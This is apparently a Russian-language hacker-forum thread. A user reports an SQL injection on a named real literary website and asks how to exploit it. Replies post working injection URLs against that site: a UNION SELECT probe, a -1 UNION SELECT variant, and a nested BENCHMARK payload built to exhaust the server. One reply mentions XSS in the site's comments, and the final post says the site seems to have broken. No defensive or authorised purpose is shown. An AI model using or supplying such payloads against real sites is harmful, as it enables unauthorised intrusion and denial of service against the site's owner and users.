sql-иньекция

здрасти.
такое дело.
пхп я знаю, sql тоже, с БД работаю каждый день.

нашёл такой вот косяк:
http://litprom.ru/text.phtml?storycode=23511'
что я вообще могу с этого поиметь?
дайте хоть подсказку, опытные хацкеры
не хочу там ничего уронить, просто добиться хоть чего-то, для осознания собственной значимости гыгы

 

http://litprom.ru/text.phtml?storycode=23511+union+select+1/*
только вывода я добится не смог (( но попытатся можно ..
иль просто вслепую, через ascii ..

 

Подстава это :-D
http://litprom.ru/text.phtml?storycode=-1+union+select+1/*

 

И еще в каментах xss

 

_http://litprom.ru/text.phtml?storycode=-23511'

Смешная ссылочка))))

 

а я с начала не поверил...
http://litprom.ru/text.phtml?storycode=5+union+select+benchmark(999999999,benchmark(999999999,md5(now())))/*

 

блин он кажись сломался((